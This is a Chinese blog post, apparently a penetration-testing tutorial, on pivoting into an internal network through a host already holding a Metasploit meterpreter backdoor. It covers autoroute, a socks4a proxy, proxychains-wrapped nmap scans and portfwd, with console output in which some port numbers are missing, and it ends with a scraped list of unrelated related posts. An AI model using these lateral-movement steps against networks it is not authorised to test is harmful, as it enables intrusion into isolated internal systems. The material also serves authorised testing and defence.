Metasploit使用内网跳板, 扫描局域网主机
最近,拿到一台内网机器, 苦于无法使用nmap扫描改主机的内网, 所以才有此文
在跳板机子获取一定权限后,需要积极的向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经得到的meterpreter后门,可以使系列的操作更容易。
使用Meterpreter 内置的添加路由功能
获取路由信息
run get_local_subnets
自动添加路由
run post/multi/manage/autoroute
/*
或者使用 run autoroute -s 10.0.0.0 -n 255.0.0.0
-s 参数为网关 -n 参数为只掩码
*/
查看路由信息
run autoroute -p

虽然路由表已经添加了, 但是我们直接ping 内网的主机是没法ping通的
通过跳板使用NMAP
为了实现nmap扫描,metasploit中的路由配置需要被激活,并且需要通过socks4代理进行流量转发。Metasploit中存在这样的模块满足需求。
使用Metasploit中的socks4代理模块:
meterpreter > background
[*] Backgrounding session ...
msf > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT yes The port to listen on.
Auxiliary action:
Name Description
---- -----------
Proxy
msf auxiliary(socks4a) > set srvhost 192.168.1.11
srvhost => 192.168.1.11
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
msf auxiliary(socks4a) > netstat -antp | grep
[*] exec: netstat -antp | grep
tcp 172.16.0.20: 0.0.0.0:* LISTEN /ruby
msf auxiliary(socks4a) >
使用proxychains 代理转发
使用GNU\Linux操作系统内置的ProxyChains工具,任何TCP连接都能通过TOR、SCOKS4、SOCKS、HTTP/HTTPS等代理方式进行转发。在这项隧道技术中,可以嵌套多层代理。除了提供匿名性以外,如跳板机这样的利用也能实现向隔离的内部网络导入流量。

使用编辑器在文件/etc/proxychains.conf的最后一行加入socks4代理的配置信息。
--- snippet ---
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 127.0.0.1
socks4 192.168.1.11
通过proxychains执行nmap扫描是一个简单的操作。流量包会通过定义的代理端口被导入到目标网络.
root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,,,, 192.168..199ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-12 04:17 EDT
|S-chain|-<>-192.168.1.11:-<><>-192.168.100.199:-<><>-OK
|S-chain|-<>-192.168.1.11:-<><>-192.168.100.199:-<><>-OK
|S-chain|-<>-192.168.1.11:-<><>-192.168.100.199:-<--timeout
|S-chain|-<>-192.168.1.11:-<><>-192.168.100.199:-<--timeout
|S-chain|-<>-192.168.1.11:-<><>-192.168.100.199:-<--timeout
|S-chain|-<>-192.168.1.11:-<><>-192.168.100.199:-<><>-OK
|S-chain|-<>-192.168.1.11:-<><>-192.168.100.199:-
可以看到192.168.100.199开启了web服务, 我们直接在浏览器中配置firefox代理(192.168.1.11 1080), 直接访问web服务:


端口重定向
此前通过nmap和proxychains,我们已经发现192.168.100.99的主机时在TCP 80端口运行了web服务。为了能够访问这个服务,本地系统的2323端口应该被路由至192.168.100.99的80端口.
meterpreter > portfwd add -L 192.168.1.11 -l -p -r 192.168.100.99
[*] Local TCP relay created: 192.168.1.11: <-> 192.168.100.99:
meterpreter > portfwd Active Port Forwards
==================== Index Local Remote Direction
----- ----- ------ ---------
192.168.1.11: 192.168.100.99: Forward total active port forwards.
总的来说很卡。。。

参考
内网渗透随想 http://www.91ri.org/14390.html
通过双重跳板漫游隔离内网 https://xz.aliyun.com/t/249
Metasploit使用内网跳板, 扫描局域网主机的更多相关文章
- [转]用apache反向代理解决单外网ip对应内网多个web主机的问题
用apache反向代理解决单外网ip对应内网多个web主机的问题 转载一个有独立外网IP,需内网服务器对外发布的例子,是应用apache虚拟主机的. 来源地址:http://www.itshantou ...
- [原创]K8 cping 3.0大型内网渗透扫描工具
[原创]K8 Cscan 大型内网渗透自定义扫描器 https://www.cnblogs.com/k8gege/p/10519321.html Cscan简介:何为自定义扫描器?其实也是插件化,但C ...
- MSF内网渗透 扫描模块
端口扫描 auxiliary/scanner/portscan scanner/portscan/ack ACK防火墙扫描 scanner/portscan/ftpbounce FTP ...
- 【Linux-CentOS】在无互联网-内网环境的Windows7主机上安装CentOS双系统,从安装到放弃
2018.12.3 日更新:本文仅作为无互联网环境下安装的参考.更推荐在互联网环境下安装软件和使用系统,毕竟会自动安装依赖包,比较方便. 因个人办公电脑装的盗版Win7总是蓝屏,影响工作,加之看到 W ...
- 判断ip地址是否为内网ip或局域网ip
bool IsLanIp(string& ip) { ,) == ,) == ,) == "192.") { return true; } else { return fa ...
- 利用Metasploit 打入ThinkPHP内网...
出品|MS08067实验室(www.ms08067.com) 本文作者:dch(Ms08067实验室 SRSP TEAM小组成员) 一.利用Metasploit进行攻击的流程图 Metasploi ...
- 通过云主机(网关机)远程登录内网mysql
国内的一些云主机平台(UCloud,阿里云,腾讯云等)走的都是网关机+内网机(即局域网)模式,网关机代理外网访问,不能直接连接内网机器.本文介绍通过远程登录云主机,并设置本地代理的方式,通过sqlyo ...
- Nessus静态ip配置及内网扫描
环境ubuntu虚拟机,以前linux配置ip都是从/etc/network/interfaces这里面更改,现在要在/etc/netplan下面配置. vim /etc/netplan/01-net ...
- 内网漫游之SOCKS代理大结局
0×01 引言 在实际渗透过程中,我们成功入侵了目标服务器.接着我们想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口,比如内网的3389端口.内网网站8080端口等等.传统的方 ...
随机推荐
- 整合Spring+Hibernate+Struts2的时候发现json数据一直无法传到页面,提示no-Session
执行了ajax,页面没有任何反应 怀疑json没有值,想查看json中的内容,使用了ObjectMapper: ObjectMapper om=new ObjectMapper(); System.o ...
- jenkins忘记admin密码的处理方法
如果忘记admin的登录密码,可按如下方法处理 # 编辑config.xml文件,替换passwordHash行的内容# vim /var/lib/jenkins/users/admin_167938 ...
- flask通过nginx代理后base_url拿不到正确的url_scheme2016-04-14 12:31
http://www.axiaoxin.com/article/210/ Nginx配置了https请求后,用户发起https请求时首先和Nginx建立连接,完成SSL握手,而后Nginx作为代理是以 ...
- 熟练掌握GitHub及Git的使用方法
一.Git 命令的理解和使用 Git是一个快速,可扩展的分布式版本控制系统,具有异常丰富的命令集,可提供高级操作和对内部的完全访问. 分布式:Git版本控制系统是一个分布式的系统,是用来保存工程源代码 ...
- Spring Cloud Task 知识点
Spring Cloud Task的目标是为Spring Boot应用程序提供创建短期运行微服务的功能. 出处:https://blog.csdn.net/peterwanghao/article/d ...
- 51Nod1686 第K大区间 和 NOI2016 区间
谈一下尺取法的经典题. 第K大区间 定义一个区间的值为其众数出现的次数. 现给出n个数,求将所有区间的值排序后,第K大的值为多少. 众数:区间里出现次数最多的数字,例如:1 1 2 2 2,区间[1 ...
- Spring Boot + Mybatis 配置多数据源
Spring Boot + Mybatis 配置多数据源 Mybatis拦截器,字段名大写转小写 package com.sgcc.tysj.s.common.mybatis; import java ...
- LoadRunner中,File参数类型--文本参数显示问题
默认情况,File参数类型,参数数据量只能显示100(参数从0开始,99之后的不显示,但不影响正常取数据) 但是可以修改D:\Program Files (x86)\HP\LoadRunner\con ...
- wordpress时间函数the_time() 实例解读
wordpress the_time()时间函数想必大家多多少少都会用到,但是要自定义一些时间相对没那么熟悉了,随ytkah一起来看看吧.我们知道时间函数基础调用是<?php the_time( ...
- React 顶层 API
概览 组件 使用 React 组件可以将 UI 拆分为独立且复用的代码片段,每部分都可独立维护.你可以通过子类 React.Component 或 React.PureComponent 来定义 Re ...